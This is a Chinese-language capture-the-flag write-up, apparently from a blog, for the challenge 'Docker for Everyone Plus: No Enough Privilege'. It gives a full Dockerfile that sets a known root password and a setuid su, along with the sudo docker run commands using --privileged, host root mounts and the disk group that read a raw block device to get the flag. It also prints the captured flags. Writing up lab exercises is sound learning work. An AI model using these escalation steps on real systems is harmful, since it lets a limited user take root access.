Docker for Everyone Plus——No Enough Privilege

直接告诉我们flag在/flag中,访问第一小题:

sudo -l查看允许提权执行的命令:

发现有image load命令


题目指明了有rz命令,可以用ZMODEM接收文件,看到一些write up说可以用XShell、MobaXterm、Tabby Terminal等软件连接上传,使用MobaXterm复制粘贴token后按Enter键出现^M

经过查询了解需要做出如下修改:


rz命令显示如下:

搜索得到的解决方案:

兜兜转转还是得XShell,改用XShell进行操作,先随便上传一个1.txt:

但是传输速率是0,这就很奇怪了

what can i say?


换成Tabby Terminal继续操作,同样地,得修改一下telnet的配置:

(注意:右键自动粘贴token不会被显示,输入结束后按Ctrl J即可开始题目)


rz一个1.txt发现被rejected了:


后面了解到~目录的权限是"只读":

切换到/tmp目录下就行了


在一篇文章中提到了,可以让docker里的用户运行一个镜像用su提权到root,待会就制作一个类似的镜像:

https://www.mendelowski.com/til/2024/07/no-new-privileges-docker


先制作镜像:

(注意:镜像名字需要小写字母,不然会报错,忘记截图了)

FROM busybox:latest

# Create a new user
RUN adduser -D -u 1000 user && \
    # Set root password
    echo "root:root" | chpasswd && \
    # Make sure su has correct permissions
    chmod u+s /bin/su

# Switch to the new user
USER user
WORKDIR /home/user

CMD ["/bin/sh"]

docker build -t dockerfile:latest .命令构建docker镜像:

docker images查看镜像:

docker save -o dockerfile.tar dockerfile:latest命令将镜像导出为tar文件:

gzip dockerfile.tar命令将dockerfile.tar压缩成dockerfile.tar.gz文件并且将dockerfile.tar.gz下载到本地Windows再上传到/tmp中:

(注意:这里不知道为什么直接从VMare中复制粘贴到Windows中会失败,用MobaXterm没反应,用XShell倒是正常)


上传dockerfile.tar.gz:

(这里我以为上传dockerfile.tar卡住了,就想着会不会是文件类型的原因,压缩成.tar.gz后再上传dockerfile.tar.gz,但其实只是单纯的延迟问题)


gunzip dockerfile.tar.gz命令解压:


sudo docker image load < dockerfile.tar命令载入镜像:


因为在开头的sudo -l命令指明了docker run需要用低权限的uid 1000运行容器,-v /:/host是将主机的根目录直接挂载到了容器里:

运行docker镜像:

sudo docker run --rm -u 1000:1000 -v /:/host -it dockerfile命令:

(运行之后会进入到/bin/sh终端中)

开头的sudo -l命令:


进入到/host目录,发现/flag指向的是/dev/vdb设备块,而/dev/vdb的属组是 disk,/dev/vdb的读取权限是对用户组开放的,因此不需要指定容器用户为root,只需要指定用户组disk就有读取权限了:


exit退出,重新运行docker镜像并指定用户组disk:

sudo docker run --rm -u 1000:1000 --user 1000:disk -v /:/host -it dockerfile命令:

发现这次不是Permission denied了,而是Operation not permitted

后面了解到docker默认不允许容器对设备块进行操作


但可以添加参数--privileged=true授予操作设备块的能力:

sudo docker run --rm -u 1000:1000 --user 1000:disk -v /:/host --privileged=true -it dockerfile命令和cat /host/dev/vdb命令:

成功得到flag:

flag{dONT_1OAD_uNTRusT3D_1ma6e_f2c2c2f7d1_plz!}


更推荐使用下面的命令:

或者docker image load < dockerfile.tar后也可以使用如下命令:

dockerv:/tmp$ sudo docker run --rm -u 1000:1000 -v /flag:/flag -v /dev:/dev --pr
ivileged --pid=host --cap-add=SYS_ADMIN reader_busybox1 whoami
user
dockerv:/tmp$ sudo docker run --rm -u 1000:1000  -it -v /flag:/flag -v /dev:/dev
 --privileged --pid=host --cap-add=SYS_ADMIN reader_busybox1
~ $ su root
Password:
/home/user # cat /flag
flag{dONT_1OAD_uNTRusT3D_1ma6e_253cb5a83d_plz!}

附上删除docker镜像命令:

docker rmi dockerfile命令:

相关推荐
云空8 小时前
《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》
运维·人工智能·web安全·网络安全·开源·网络攻击模型·安全威胁分析
doubt。8 小时前
8.攻防世界Web_php_wrong_nginx_config
网络·安全·web安全·网络安全
杨浦老苏9 小时前
开源音乐管理软件Melody
docker·群晖·多媒体
杨浦老苏11 小时前
面向npm的实时仪表板Dashly
网络·docker·群晖·导航
aaaweiaaaaaa12 小时前
php的使用及 phpstorm环境部署
android·web安全·网络安全·php·storm
JunLan~12 小时前
Docker 部署 GLPI(IT 资产管理软件系统)
运维·docker·容器
特立独行的猫a14 小时前
使用 Docker(Podman) 部署 MongoDB 数据库及使用详解
数据库·docker·podman
LUCIAZZZ16 小时前
基于Docker以KRaft模式快速部署Kafka
java·运维·spring·docker·容器·kafka
泪不是Web妳而流16 小时前
BurpSuite抓包与HTTP基础
网络·经验分享·网络协议·安全·http·网络安全·学习方法
doubt。17 小时前
3.攻防世界Web_php_unserialize
网络·安全·web安全·网络安全·php·代码复审